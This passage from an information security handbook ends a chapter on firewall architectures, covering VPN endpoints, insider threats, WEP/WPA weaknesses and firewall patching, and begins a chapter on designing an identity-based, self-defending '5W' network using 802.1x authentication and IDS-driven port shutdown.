employee’s connection to the Internet. Managing the VPN connection in a small enterprise can be daunting, but it is achievable; however, in a large enterprise with perhaps hundreds or thousands of remote telecommuters, managing VPNs can be overwhelming. The maturity of IPsec VPN technology has caused the primary consideration to move from technology to manageability in selecting VPN solutions. Security of the Remote Endpoint: Firewalls In too many organizations, telecommuter security mechanisms are nothing more than a software firewall and anti-virus package on the remote PC or laptop with a VPN client connecting the mobile user to the corporate local area network (LAN) at a point behind the gateway firewall. Although at first glance this may seem to be a secure solution, several risks must be considered. Security of the Remote Endpoint: Anti-Virus Updates Several firewall vendors now provide validation of anti-virus signatures on remote devices. They quarantine the user and do not allow access to any resources on the LAN but still provide access to the Internet to allow automatic updating of the anti-virus signatures. Authentication Authentication within the corporate network has its risks, but they pale in comparison to the risk of authentication across the public Internet. The tools available to the black hat community, such as Rainbow Crack, have effectively rendered passwords obsolete. The IT manager is able to exercise additional controls within the LAN to mitigate at least some of the risks associated with internal authentication, but for the most part those controls cannot be enforced on the Internet. Although passwords may be acceptable within the LAN (at least for now), any authentication across the Internet has to be fully encrypted and should provide for a token to be used at the endpoint.
112
Information Security Management Handbook
Personal Use of the PC or Laptop by the Employee To minimize the risk of a remote employee laptop or PC being compromised and subsequently impacting the corporate LAN, Internet access for the remote laptop or PC must be controlled. The best solution is to configure the remote laptop or PC to use the enterprise gateway as the user’s Internet gateway. This prohibits the user from surfing the Internet without complete policy enforcement by the enterprise gateway. The IT manager gets the benefit of the security mechanisms afforded by the enterprise gateway in providing a degree of control over where the user can surf with URL filtering and a second layer of anti-virus protection provided by the gateway for any files downloaded by the remote user. Actions of a Disgruntled Employee The actions of a disgruntled employee can be contained, but that depends on the connection point for remote users to the corporate network. Most organizations simply punch a hole through the corporate gateway and terminate VPN tunnels on a VPN server behind the firewall. This effectively bypasses policy enforcement by the gateway firewall. To facilitate complete policy enforcement, VPN tunnels should terminate at the gateway firewall. Worst case, the VPN server should be located on a separate network segment and the gateway firewall should provide full policy enforcement for any LAN access. Security Management Security policy must be managed from the core of the enterprise to the edge. Relying on an unmanaged end point is a recipe for disaster. The end user should not be able to make any changes to the security policy of the remote firewall. The clearest methodology is to utilize a firewall that operates independently of the laptop or PC. This can be facilitated with a standalone device or with an embedded device that operates independently of the laptop or PC (firewall PCI card). Keeping the firewall independent of the end user solves the respective management issue. It also minimizes the impact of vulnerabilities in the software or operating system being taken advantage of by a hacker on the remote device.
Privacy Issues Simply put, organizations were not meeting expectations, and privacy concerns reached the point where legislation was necessary to ensure that personal privacy is protected. In the United States as well as in many other countries, nearly all Internet-related legislation enacted over the past few years has included some form of privacy protection. Privacy protection is much more than simply encrypting employees’ and customers’ personal information. It begins by properly securing the Internet gateway and must include properly protecting the complete enterprise network. (Please review the regulatory concerns section of this chapter.) Apart from regulatory issues, the IT manager must consider threats to privacy from adware and spyware on internal employees. Current adware and spyware have become significantly more malicious and go well beyond installing cookies and reporting back where your internal users are spending time on the Internet. Recent adware and spyware packages have included payloads that set up keyloggers to capture user personal data and credentials as well as Trojans that open back channels from the infected host to the hacker. Today, the IT manager must consider adware and spyware as top security threats and deal with them with the urgency and high priority required to mitigate broadening associated risks. Most adware and spyware today rely upon application-layer vulnerabilities to infect hosts. The first step in mitigating the risk is to prevent adware and spyware from entering the LAN at the gateway. It is crucial to make addressing application layer security a part of the gateway firewall topology.
Insider Threats The insider threat to the corporate LAN has declined since 2000, when it represented nearly 70 percent of attacks, to well under 50 percent today; however, the hacking tools available for today’s malicious users within the LAN have become both much more sophisticated in their capabilities and much easier to use.
An Examination of Firewall Architectures
113
Although we have seen a decrease in frequency, it is not difficult to imagine that with today’s tools insider attacks are much more effective: The record seems clear … The most devastating threats to computer security have come from individuals who were deemed trusted insiders. (Steven Aftergood) The first step in mitigating insider threats begins with security policies and procedures. The most important policy area for mitigating the insider threat is how the organization handles employee terminations. Many organizations let respective managers’ personal feelings and emotions determine how to handle security decisions when an employee is about to leave the company. Far too many organizations let employees go about their business during their two weeks’ notice rather than risk offending the employees by terminating network access. There are several schools of thought on how terminations should be handled, but the most effective method is simply to terminate all network access immediately upon learning of the termination. When an employee is about to leave a company, chances are that employee has been looking for a job for some time prior to giving notice. The risk of the employee taking the opportunity to send customer lists and other intellectual property belonging to the enterprise directly to a new employer or perhaps home for later use is more common than many imagine. Using content filtering on all outbound access such as email and FTP can help to mitigate the risk and give the human resources and legal departments an opportunity to address the issue more effectively. With any monitoring of employee communications, due care must be taken to properly inform employees that their communications are being monitored by the organization and that all communications using corporate-provided facilities are not private, are the property of the company, and are not intended for the personal use of the employees. It is important to have the legal department weigh in on regulatory issues prior to implementing any monitoring or content-filtering programs. The second most important policy area is defining zones of trust for business units within the organization. The zones of trust can then be enforced by either the gateway firewall or with internal firewalls. It should be made clear that the current threat vector is at the application layer. Simply providing access control internally at layer four to enforce zones of trust falls short of addressing today’s threats. Virtual local area networks (VLANs) are incorporated into most firewalls available for both the gateway and internal use in the LAN. Many organizations today rely on VLAN technology as their primary means of security in separating zones of trust. Although VLAN technology has matured and it has been some time since a notable vulnerability surfaced, the author’s preference is to use physical interfaces to separate zones of trust and to use VLAN technology to afford additional segmentation within a specific zone of trust. Beyond separating zones of trust, several other methodologies support greater risk mitigation for insider threats, such as explicit application-level access controls, encryption within the LAN, desktop firewalls, anomaly detection, and LAN segment-based IDS. But, it is important to note that the insider threat is a people issue not a technology issue. Just like the Internet threat, it is not possible to solve the insider threat by simply applying technology. Priority should be placed first on policy, procedures, and awareness, then on technology.
Infrastructure With respect to firewalls, most infrastructure issues for IT managers can be avoided simply by not using equipment that affords only proprietary technologies. In most cases, when the author has been contacted about a particular client’s infrastructure issue, the root cause was previous installation of a proprietary product that now limited the client’s future decisions. Selecting a proprietary VPN capability within a firewall in many cases limits the selection of clients and additional VPN servers to a specific vendor. Care should be taken to use only IPsec-compliant VPN offerings and to validate the range of compliance with a third party such as the Virtual Private Network Consortium (www.vpnc.org).
114
Information Security Management Handbook
Selecting a proprietary authentication mechanism within a firewall in many cases limits the ability to expand the use of additional firewalls to that specific vendor. Authentication methodologies such as Remote Dial-In User Service (RADIUS), Kerberos, and the Open Lightweight Directory Access Protocol (LDAP) are becoming much more common non-vendor-specific alternatives to proprietary authentication schemes. Selecting a firewall that affords a proprietary methodology to interact with other security products also limits expansion of a security infrastructure to a limited set of partner vendors. Open-source alternatives such as ICAP offer viable alternatives to vendor-specific communication schemes and third-party products across many different firewall vendor platforms. Several other infrastructure issues are created by poor planning of the network architecture. One common example is the failure to plan IP address space properly, thereby limiting addresses for future expansion. Several vendors recognized the need for a niche product to meet this need, and a transparent firewall was offered to facilitate the lack of an available IP address. From a security perspective, a transparent firewall acts like a network address translator (NAT) device and also moves the filtering from layer four, where the IP address is found, to layer two, where decisions are made based on routing information. After looking carefully at several transparent firewall offerings, the author believes that most cannot provide the necessary level of inspection to combat today’s current threats. One has to wonder whether most infrastructure issues should not be solved by correcting the infrastructure instead of using a BandAid approach and seeking out a niche solution that avoids solving the problem and actually sacrifices security. The balance of infrastructure considerations such as speed, protocol support, and features such as VLAN support and bandwidth management have been addressed by most mainstream firewall vendors.
Application Security With virtually every stateful firewall vendor jumping on the application security bandwagon, the job of the IT manager to select and manage a specific application security solution has become much more difficult. A firewall vendor’s approach to application security reveals a great deal about their basic design philosophy and the resulting capabilities of their network security products. The tried and true practice with strong application proxy firewalls is to allow only the packets that are known to be good and to deny everything else. Because most protocols used on the Internet are standards based, the best approach is to design the application proxy to be fully protocol aware and to use the standards as the basis for deciding whether to admit or deny a packet. Only packets that demonstrably conform to the standard are admitted; all others are denied. Most stateful inspection firewalls, as well as many IDS and IDP products, take the opposite approach. Rather than focusing on recognizing and accepting only good packets, they try to find and then deny only the bad packets. Such devices are vulnerable because they require updates whenever a new and more creative form of “bad” is unleashed on the Internet. Sometimes, especially with ASIC vendors that implement these packet rules in silicon, it is impossible to make these changes at all without replacing the ASIC itself. Another problem with the “find and deny the bad” methodology is its intrinsic inefficiency. The list of potentially bad things to test for will always be much greater than the predefined and standardized list of good things. It is a lot like getting into heaven: Virtue should be its own reward. One can argue that the “find and deny the bad” approach provides additional information about the nature of the attack and offers the opportunity to trigger a specific rule and associated alert; however, it is unclear how this really benefits the network administrator. If the attack is denied because it falls outside the realm of the good, does the administrator really care which attack methodology was being employed? As many have seen with IDS, an administrator in a busy network may be distracted or overwhelmed by useless noise generated by failed attacks.
Wireless Security Before we discuss the IT manager’s firewall considerations with respect to wireless security, to put it into perspective we need to examine some (but clearly not all) of the more prevalent insecurity issues of wireless networks. Wireless security has had its share of vulnerabilities. Just three years ago the author
An Examination of Firewall Architectures
115
would never have used the word “secure” in the same sentence as the words “wireless network.” But, many of the more serious security issues have been addressed and the ease of use and cost savings provided by properly configured wireless networks for the most part outweigh current security concerns. To date the biggest issue with wireless security focused on the weakness of Wired Equivalent Privacy (WEP), the encryption methodology that was professed to afford a level of security equal to that which would be found in a hard-wired network. Weaknesses in the Key Scheduling Algorithm of RC4 allowed publicly available hacking and cracking tools such as AirSnort and WEPcrack to actually calculate the encryption key after passively collecting and analyzing a sufficient number of packets. Having tested AirSnort against my own home 802.llb wireless network, I found that by using a ping flood against the IP address of my access point I was able to collect enough data to successfully crack the encryption key. Many chose to implement VPN tunnels over 802.11b to overcome the issues of WEP, but managing VPN tunnels was a labor-intensive task and did not correct the underlying problem. The 802.11i standard seems to be on track for solving many of the insecurities of previous wireless standards. Other solutions to the WEP issue included technology solutions such as the Lightweight and Efficient Application Protocol (LEAP), which reduced the threat imposed by WEP by providing frequent encryption key changes. LEAP was a workable solution but had numerous compatibility issues with the installed base of existing wireless network products, and it simply has not become a dominant product in wireless security. WEP2 was developed as a secure replacement for WEP1 but was found not to be a panacea for the problems that plagued WEP1. One of the most important developments in securing wireless networks has been WiFi Protected Access (WPA) as a replacement for WEP. WPA solves the encryption key issue by periodically generating a unique encryption key for each client. Other enhancements include Extensible Authentication Protocol (EAP), which provides mutual authentication for further security enhancement. While WPA has solved the WEP problem, it has created a separate issue in that it is a simple matter to run a DoS attack against a WPA-enabled device. A malicious hacker simply has to send two packets per second using the wrong key to bring down the wireless network. For the IT manager considering firewalls with respect to wireless networks, the most important issue is the placement of the wireless access point. In the past, the most common practice in introducing a wireless network for a corporate LAN was to plug the device in behind the firewall, enable WEP, and perhaps enable message authentication code (MAC) address filtering. Quickly, IT managers learned that WEP could be cracked and MAC addresses could be forged, completely bypassing all wireless network security and putting the attacker behind the firewall with full unrestricted access to the enterprise LAN. Regardless of any promise of security from any new wireless security technology, it is unthinkable to place an access point without firewalling the connection to the LAN. Although WPA and EAP appear to have solved the encryption and perhaps the authentication issues, it is still prudent to carefully control access to the LAN. Should an attacker compromise a wireless-enabled device, it is conceivable they could use the wireless network to attack the LAN, thus necessitating the use of a firewall. Further, with the most prevalent attacks today taking place at the application layer, it is suggested that the firewall be an application-layer firewall.
Patch Management While many firewall vendors would like you to believe otherwise, patch management is a critical necessity for firewalls. A quick check of Internet vulnerability reporting sites offers an eye-opening view of the many firewall issues that have required immediate patches to protect the private network connected to the Internet from possible compromise or DoS attacks (Table 6.11). In addition to recognizing that firewalls are not beyond having vulnerabilities themselves, another consideration for the IT manager should be handling patch management centrally for all firewalls within the enterprise. Many enterprises today utilize numerous firewalls within their security topology to secure and protect access to and from the LAN. Having to physically touch each and every firewall within the LAN to apply security patches or feature release patches creates a nightmare that most IT managers do not consider until they are in a
BorderWare Check Point Firewall 1 Cisco PIX Firewall CyberGuard NetScreen Nokia Check Pointb Novell BorderManager Firewall Secure Computing WebShield/Gauntlet SpearHead Security SonicWall SOHO Symantec Enterprise (Raptor) WatchGuard Firebox a
b
CERT
CIAC
BugTraq
X-Force
CVE
Totala
— 3 2 — — 2 — 1 — — — —
— 2 1 — — — — 1 — — — —
1 25 13 — 15 2 10 9 1 6 11 14
1 11 3 — 2 1 4 6 1 3 2 9
1 13 3 — 2 1 3 6 1 3 2 10
1 26 16 0 15 4 10 9 1 8 11 14
The total is the total number of vulnerabilities reported since January 29, 2000, not the sum across columns, as a vulnerability may be reported by more than one source. All Check Point vulnerabilities also apply to the Nokia firewall because it is a Check Point appliance. The Nokia vulnerability is specific to the Nokia platform.
situation where the task has to be completed immediately to protect the network. The best predictor of how to expect the frequency and urgency of firewall vendor patch releases is to examine the respective vendor’s legacy of vulnerabilities by researching third-party reporting Web sites. From a patch management perspective, the firewall vendor’s centralized management software should be capable of: • Automatically checking for available patches periodically • Downloading and validating the MD5 hash of the respective patch • Alerting the administrator to both the availability of the downloaded patch and the urgency of the patch • Allowing the IT manager to schedule which firewalls to apply the patch to and when • Validating that the patch has been installed correctly on the firewalls • Providing periodic reminder alerts as to the firewalls to which the IT manager chose not to apply the patch
Looking Toward the Future With the shift of the attack vector to the application layer, application proxy firewalls are fast becoming popular solutions. Former competitors to application-layer firewall technologies such as stateful packet filters and stateful inspection firewalls are scrambling to reinvent themselves to meet the threat at the application layer and try to maintain their market share. I see the potential benefit of using hardware fast-string comparators to accelerate packet inspection and signature testing for application proxy firewalls; however, I clearly recognize that signature-only methodologies, such as are used in deep packet inspection firewalls, will ultimately fail unless vendors adopt a hybrid approach utilizing the protocol anomaly capabilities of current technology application proxy firewalls. To be an effective deterrent for tomorrow’s Internet threats, firewalls must not only look deeper into the application header but must also look across a wider number of packets in order to fully understand the context of the datastream. Many examples demonstrate that vendors have failed to recognize that string comparisons of partial data cannot block attacks. One vendor boasted it had the ability to filter URLs bound for the Web server and to block URL-based attacks such as CodeRed. Unfortunately, the mechanism they used did not reassemble fragmented packets. If the CodeRed URL were fragmented, it would pass undetected through their protection mechanism. The next generation of firewalls will have to provide protection not only on a single packet but also on the fully reassembled datastream. Further,
An Examination of Firewall Architectures
117
these next-generation firewalls will have to filter on specific commands and must also be able to understand the context in which commands are used in order to make informed decisions. Current IPS and deep packet inspection firewalls that provide protection by relying on having a signature for every single possible malicious action that can occur on the Internet will simply become overwhelmed in the foreseeable future as vulnerabilities continue to grow at a rate of well over 100 a month. Although testing signatures for known vulnerabilities worked well for burglar alarms such as IDS in the identification of specific threats, it is not an efficient methodology for protection. The only sensible approach is a default/deny mechanism whereby only those packets that are explicitly known to be good and which are specifically defined in the firewall security policy are permitted to pass through the Internet. A great example of this is all of the new filters we are seeing for HTTP. Many vendors are claiming to be able to filter and stop chat like AOL and MSN as well as p2p programs such as Kazaa tunneling within the HTTP datastream. The issue with current approaches is that any time a new application is developed that can transport over HTTP, the administrator must rush to analyze the header and create a new blocking rule to stop the application from using HTTP as its transport mechanism. It makes more sense to block all HTTP that is not fully understood and only allow that which is explicitly defined within the firewall security policy. Simply put, when managing security for a private network that is connected to the public Internet, the rate of change for that which we know to be good will always be lower than the rate of change for that which we know to be bad or malicious. The bottom line is that the pure default/ deny approach is more secure and efficient and will become the approach of choice for firewall consumers. End users are questioning the terminology and statements used by vendors and no longer can afford to simply accept a vendor’s claims based on product literature and marketing spin. Historically, many vendors have falsely claimed to be protocol aware yet only offered layer four packet filters with no real underlying protocol awareness. Many application proxy firewall vendors have incorrectly claimed that their application proxy firewalls are application aware when, in fact, they are only familiar with the underlying protocol at best and have little application knowledge built into the product. (For example, an SMTP proxy is only protocol aware and is not necessarily application aware.) To be application aware, the proxy would have to be intimately familiar with the underlying application, such as Lotus Notes or Microsoft Exchange. The vulnerabilities and weaknesses in applications are becoming much more complex. Firewall vendors must build a wider range of application-specific application proxies in order to deal with this threat. Moore’s law has eliminated the old tradeoff of security and performance. In the current environment, the enterprise is pushing back and will no longer accept the common crippling of the business application in an effort to make them operate behind current technology security products. Firewall products can no longer only support protocols. They must explicitly support applications that run over these protocols in a manner that supports and enables the needs of the enterprise. Patched commercial operating systems are still simply too vulnerable to rely upon for the foundation of a security platform. Purpose-built operating systems incorporating multilevel security or compartmentalization provide a high level of security but often only run on a limited range of hardware. Vendors of these products have moved into mainstream kernels such Linux. This move provides the best of both worlds to the end user, offering a secure operating system utilizing a popular kernel that supports a broad range of hardware.
Conclusion The premise stated in the conclusion of the original “Firewall Architectures” paper still holds true today. In spite of claims by respective vendors, no single firewall architecture is the “Holy Grail” in network security. It has been said many times in many ways by network security experts: “If you believe any one technology is going to solve the Internet security problem, you don’t understand the technology and you don’t understand the problem.” Unfortunately for the Internet community at large, many administrators today design the security policies for their organizations around the limited capabilities of a specific vendor’s product. The author firmly believes that all firewall architectures have a place in network security.
118
Information Security Management Handbook
The selection of any specific firewall architecture should be a function of the organization’s security policy and should not be based solely on the limitations of a vendor’s proposed solution. When connecting to the public Internet, the only viable methodology in securing a private network is the proper application of multiple firewall architectures to support the organization’s security policy and provide the acceptable balance of trust and performance.
References This third edition of firewall architectures text is based on a number of related white papers I have recently written as well as numerous books, white papers, presentations, vendor literature, and Usenet news group discussions I have read or participated in throughout my career. Any failure to cite any individual for anything that in any way resembles a previous work is unintentional.
7 The Five W’s and Designing a Secure, Identity-Based, Self-Defending Network (5W Network) Samuel W. Chun
Introduction The amazing advances in networking and networking technologies over the last 25 years have come from a variety of different perspectives. Disparate groups such as government research labs, the military, universities, large corporations, and countless enterprising individuals have all played a part in advancing networking technologies at a breathtaking level; however, these individual and group innovations have rarely coordinated their efforts, resulting in various camps of advancement. Some, such as IBM, Banyan, Microsoft, and Novell, focused on the development of network and desktop operating systems (and directory service) while others, such as Synoptics, Alantec, 3Com, and Cisco Systems, put their primary research efforts on high-speed network infrastructures. In the early 1990s, the very first commercially available firewalls began to be offered to organizations by companies such as Check Point Software Technologies. Only within the last few years have enterprise-class intrusion detection and prevention systems finally become commonly available to those who have the resources to acquire and manage them. Although technological advances in directory services, firewalls, switches, and routers have come at an astounding level, scant attention has been paid in the past to integrating these advances into a singular entity that serves as a critical asset for organizational productivity. The growing emphasis on the importance of information security has been accompanied by intense interest recently in technology convergence with the goal of developing a new model for a secure, identity-based, self-defending network. This chapter addresses this new emerging model of secure networking by discussing the five basic requirements of all networking systems: who, why, what, where, and when. The chapter also provides a comparison between current networks found in most environments today with the new secure, identitybased, self-defending model (referred to by the author as the “5W Network” for brevity). The hypothetical architecture of a 5W Network in a large distributed medical setting follows a discussion of the various characteristics and components of the secure, identity-based, self-defending network. The chapter concludes with a discussion of what the future holds for the 5W Network and in what environments it would be a likely fit.
119
120
Information Security Management Handbook
The Five W’s of Secure Networking Even nonpractitioners of information security will readily agree that access to an organization’s private resources, regardless of what it is, should only be allowed when some very basic questions have been answered. Whether it is physical access to a building, use of a company directory, or connection to a server or network, it is essential to ask several questions before granting access, such as “Who are you?” “What are you going to do?” “Why are you here?” It is just common sense that access should only be allowed based on receiving appropriate answers to these simple questions. That is why it is so surprising that even today the vast majority of networks fail to ask more than one question before granting access to a connection. For example, how many times has the reader been in a facility where the only requirement for network connectivity — Internet Protocol (IP) address via Dynamic Host Control Protocol (DHCP) — was physical access to a wall jack? In most environments today, connectivity (and the ability to do harm to the network and organization) is usually based on only one question: “Where?” (physical access). Where the user sits and where the user connects will almost always result in a connection appropriate for that location. Network access, however, should be dependent on more. It is just not enough to rely on physical access to maintain the enterprise’s network security. Ideally, five questions should be answered before being granting a network connection:
Identity: Who Are You? Before anything else, the identity of the person or object attempting to connect to the network should be established. It is not enough simply to know the network jack, IP address, or message authentication code (MAC) when someone has connected to the wall jack to gain access to the network. It is important to establish true identity via some authentication system before granting a useful connection. Ideally, when a person plugs a laptop (could be wireless) into a network, access to the network resources should be denied unless an authentication challenge is met.
Role: Why Are You Here? When the identity of the object has been verified via authentication, the network should know why the person or object requires access. The network infrastructure should know the role of the person or object within the organization (e.g., printer, network administrator, regular user). This is a function common in most network operating systems. Group-based access policies for server-based resources have been around for many years. Unfortunately, implementation of role-based access to the network infrastructure at OSI layers two and three is almost nonexistent. It is very rare to find a network that requires authentication before granting port-level access to Transmission Control Protocol/Internet Protocol (TCP/IP) or other network services.
Appropriate Access: What Should You Have Access to? Being cognizant of the identity and role of the requesting object or person should result in the network determining appropriate and inappropriate access. For example, a finance department employee on a roving laptop at a company should only have access to services (e.g., TCP/IP ports, servers, printers) that are appropriate to people working in the finance department, regardless of location. Conversely, the network should also be able to recognize inappropriate actions for particular roles. For example, if the same authenticated finance department employee attempts to perform a port scan or attempts a distributed denial of service (DDoS) attack on a server, the network should recognize that as inappropriate behavior and deny that action (e.g., port shutdown, connection reset).
The Five W’s and Designing a Secure Identity-Based, Self-Defending Network
121
Location: Where Should You Be? Telecommunications advances have allowed organizations to grow beyond their geographical locations with impunity over the last 30 years. With inexpensive wide area solutions readily available, setting up remote offices with unfettered access to organizational information technology (IT) resources across the world has never been easier. The good news is that the question of where a person or object should have access has been thoroughly explored. Network segregation via routers (access control lists) and firewalls actually can be used (with considerable effort) to manage access based on location. The bad news is that doing so requires network segmentation (routing) and numerous configurations of routers and firewalls, which requires considerable effort to result in any type of success. It is accepted and very common practice for large organizations to have an “all locations, all access” network policy. The overwhelming need for access regardless of location (and risk) has proliferated these types of networks. In many environments, it is possible (and often easy) to attack servers in data centers halfway across the world just by gaining physical access to a small remote field office. As a result of globalization, location is becoming less and less of a factor in access. This, unfortunately, allows intruders to target resources in an enterprise across the globe.
Time: When Can You Have Access? Recent studies suggest that there is no real prime time for security incidents. Intrusions are just as likely to happen during the business day (an in-house event) as after hours; however, logical rhythms or cycles of access should not be ignored. Network access policy at the port level should be exercised with time constraints when available. For example, if a company’s office is closed over the weekend with no need for user-level access, it would be ideal for all user network ports to be shut down with the exception of network management traffic (e.g., antivirus updates, OS updates and patches).
The Modern-Day Network: The One “W” Pony The need for fast access, not secure access, has been the primary motivator for the development of networking technologies over the last 25 years. From 2-Mbps Thinnet to 4/16-Mbps Token Ring to today’s 10-Gbps Ethernet, networking vendors and consequently network implementations have focused on providing unparalleled access. From the pure networking perspective, the questions of who should have access, why they should have access, and where they should have access have been a function left up to the administrators that manage directory services and server-based resources. The serious problem with this is that authentication happens after network access. As shown in Figure 7.1, when an intruder gains physical access to a network jack in any location (such as a field office), that intruder is free to perform malicious acts (e.g., DoS, Port Scan, malware, sending spam) on the entire network without ever having to authenticate to resources. The single question that these common networks asks is “Where?” Where users plug in their PCs or laptops will determine what network address they will receive and what access they may be granted based on their connection point. In Figure 7.1, the router that connects to two sites is a logical place for an Access Control List. Unfortunately, location is rarely used to limit access due to the trend of mobilization of the work place. From a networking perspective, it is difficult to use physical location as a means for controlling access when the users are moving around from one site to the next; consequently, it is easier to provide a connection and full network access and then let authentication occur when the user attempts to connect to resources. This is most commonly done by asking the user to enter a username and password on the log-in screen; however, this is where serious trouble lurks. After connecting to a physical jack, an intruder can carry out network-based attacks without even attempting to access any of the server-based resources.
122
Information Security Management Handbook
Site 2
Site 1 Internet Headquarters
Field Office
Firewall Router
Authentication Challenge on Resource Access
Switch Data Servers
Intruder
Headquarters Core Switch Physical Access Results in Network Connection
Network Attacks Against Servers and Targets on Internet Without Authentication
FIGURE 7.1 A common modern-day network architecture.
Characteristics The most common characteristics of modern-day networks are easy and fast access. Wherever an employee goes within the company or around the world, that employee needs access to the company’s network. The goal of modern-day networks is to provide such a connection with the least amount of effort. These networks tend to be simple and usually flat with little segmentation. Network traffic is generally switched with routers that only perform routing between wide area connections.
Common Components The single most common component seen in modern-day networks is the Ethernet switch. The exponential advances in switching speed and technology have allowed organizations to deploy large unsegmented networks on an unprecedented scale. With switches that have system backplanes that can handle terabytes per second of information, entire campuses can be connected into a single network with automatic and instant assignment of network addresses.
Benefits The benefits of these types of networks are clear. They are easy to deploy, manage, and administer because all the users have access to every network service they need. The network performs quickly because little overhead is wasted on such activities as verification of identity and monitoring. This type of solution also has the unfortunate appeal of requiring low capital investment.
Vulnerabilities A fast, easy access network comes with many vulnerabilities and high risks. Allowing easy, unfettered network access for the end-user community also extends the same access to potentially malicious programs, intruders, and disgruntled internal employees. Reacting to security events, rather than preventing them, is likely to be normal for these types of networks. In addition, post-incident forensic analyses are hindered by the fact that attacks or incidents are likely only to be traceable by IP addresses, host names, and MAC addresses, yielding very little information about the identity of the intruder.
The Five W’s and Designing a Secure Identity-Based, Self-Defending Network
123
Future Unfortunately, the vast majority of networks in existence, with the exception of highly secure government and defense environments, are configured and deployed in this manner. This pattern is not likely to change significantly due mainly to the ignorance of the risks posed by having these open access networks. In addition, the simplicity of this architecture coupled with the very low cost of ownership ensures that these types of networks will be implemented well into the future by those that do not consider security a priority.
The Secure, Identity-Based, Self-Defending Network (5W Network) In recent years, there has been intense interest in developing not only fast network access but secure access as well. Security breaches by hackers and improper acts performed by disgruntled insiders have resulted in several high-profile cases that have made the headlines in the last few years. Consider these following cases (excerpted from official press releases) from the U.S. Department of Justice Computer Crime and Intellectual Property Section (CCIPS): • United States v Meydbray — The U.S. Attorney’s Office for the Northern District of California announced that the former Information Technology Manager of Creative Explosions, Inc., a Silicon Valley software firm, was indicted today by a federal grand jury on charges that he gained unauthorized access to the computer system of his former employer, reading e-mail of the company’s president and damaging the company’s computer network. • United States v Smith — The New Jersey man accused of unleashing the “Melissa” computer virus in 1999, causing millions of dollars in damage and infecting untold numbers of computers and computer networks, was sentenced today to 20 months in federal prison. • United States v Dopps — A San Dimas man pleaded guilty this afternoon to illegally accessing the computer system of his former employer and reading the e-mail messages of company executives for the purpose of gaining a commercial advantage at his new job at a competitor. These examples are a small sample of the thousands of cases of computer-related crimes that are investigated by state, local, and federal authorities each year. It is not surprising that there has been a renewed interest in designing networks that are not just fast but also cognizant of the various threats they are likely to face. An ideal network should do the following each and every time a person or object plugs into a jack: • Issue an immediate authentication challenge. The network should establish who the person or object is before allowing any type of access to occur (i.e., it asks “Who or what are you?”). • Grant appropriate access based on the identity. The network should allow access to services (e.g., Web, network, database, FTP site) and resources (e.g., servers, printers, directories, files) based on identity, role, or business policy of the organization (i.e., access is based on “What? Where? When?”). • Monitor, react, and defend against inappropriate actions. The network should monitor the connection granted for identity- or role-appropriate activity. If an authenticated user performs an action that is inappropriate for the role (e.g., port scan, multiple connections), the network should autonomously react in a predetermined manner (i.e., access is based on “Why are you here?”). A secure, identity-based, self-defending network (or 5W Network) is a network that asks five very important questions: Who? What? Where? When? Why? It then ensures that access is always granted based on the answers to these questions. After all, all organization should ask these questions when anyone enters their premises, so is it not reasonable to ask these same questions of users connecting to their networks?
124
Information Security Management Handbook Site 2
Site 1
Field Office Headquarters Access Based on: Internet
User Business Access Identity Role Rules Immediate Authentication Challenge on Connection
Firewall Router
Switch Data Servers
User
Headquarters Core Switch Automatic SelfDefense System
STOP
Automatic response to inappropriate Incident activity based on predetermined Management policy (i.e., can result in Policy/Rules automatic network port shutdown)
IDS Monitors for RoleAppropriate User Behavior
FIGURE 7.2 5W Network architecture.
Characteristics: Designing a 5W Network Designing a network architecture that grants, monitors, and ensures access based on functional roles is not a trivial or easy task. It requires the careful integration of different technologies that have traditionally evolved separately. No single manufacturer, technology, or product will result in a secure network. It is the convergence of these infused with good old-fashioned people-generated business policies that will ultimately result in a safe, secure network that is situationally aware. To accomplish this, we must first turn the paradigm of networking upside down: Authentication should happen before network access. The only access that a network port should have enabled by default should be the ones that are required to verify identity. As shown in Figure 7.2 (similar to Figure 7.1), every time someone plugs a PC, printer, or laptop into a switch port, that person should be challenged for credentials. Only when appropriate credentials have been supplied is network access granted based on a combination of user identity, business policy, and business rules. Then, an automatic self-defense system (an intrusion detection system [IDS]) monitors the activity of the connection so it is ready to react if the connection deviates from identityor role-appropriate behavior. For example, if the user makes sequential successive connections to other PCs (a sign of a virus) or begins to attempt to access servers that it should not (unauthorized access), the self-defense system should automatically issue reaction commands based on a predetermined incident management policy. Based on preset rules, the self-defense system should be able to reset user connections, shut down ports, write logs, and send security event alerts. All of these actions should be performed autonomously so the network itself is preventing and managing incidents. The security and network administrators are then freed from the mundane burden of chasing down problem cases, allowing more time for strategic activities such as reviewing policies and roles.
The Five W’s and Designing a Secure Identity-Based, Self-Defending Network
125
Common Components: Convergence A secure, identity-based, self-defending network is naturally complex. It requires not only the integration of several different technologies but also the definitions of user, group, and access policies that will be applied in granting network connectivity. The best-designed systems are almost always a result of combining the best technologies, hard work, and carefully considered policies. A truly secure network that is able to defend itself and its organization’s most trusted assets is no exception. Five logical components of the 5W Network function together to protect the organization from internal and external threats. Each component can be a physically separate system but not necessarily so. Some manufacturers, such as Enterasys Networks, integrate some of these components and functions into their network equipment. Regardless of whether these components exist as separate systems or are integrated into a large chassis, they must always work together with the goal of security. These logical components are: • Authentication system — The authentication system verifies the identity of the user and objects to the network. It requires that users (and objects) provide credentials for any type of network access. Authentication systems are common in most network environments in the form of directory services. Some of the most commonly used authentication systems are Microsoft Active Directory, Novell eDirectory, and RADIUS. Other more advanced authentication systems, such as biometrics, can also be used for identity verification. This authentication system must be able to communicate in some form with the access control component of the network. • Access control system — The access control component contains the specific user, group, and access policies of the network and serves as a gateway for network access. It takes the authenticated user information and reviews the individual and group rights to resources that the connection should have. It then issues commands to the network infrastructure equipment to grant specific access to the appropriate resources. • Network infrastructure — The switches, routers, and firewalls should by default grant rights only to the services necessary to achieve authentication. Some of the competing protocols for transporting authentication data include Extensible Authentication Protocol (EAP), Protected EAP (PEAP), Lightweight and Efficient Application Protocol (LEAP), and Tunneled Transport Layer Security (TTLS). Whatever the method, the network infrastructure equipment should grant access to appropriate network services and resources only after successful authentication and access validation. The IEEE 802.1x standard — also known as EAPoL (EAP encapsulation over wired or wireless Ethernet), is commonly used to accomplish port-based network access control. • Intrusion detection and prevention systems — Intrusion detection and prevention systems serve as the watch dogs of the network. They should, of course, monitor the network for suspicious traffic, but they should also serve the vital function of monitoring each connection to ensure that traffic on the connection is appropriate for the role determined by the access control system. If the network activity of a specific connection is questionable or contrary to the authenticated role, they should react based on predetermined incident policies. For example, an authenticated user who browses to a wrong server can result in an alert, but a “Ping of Death” from the same user can result in the IDS issuing a port shutdown command to the 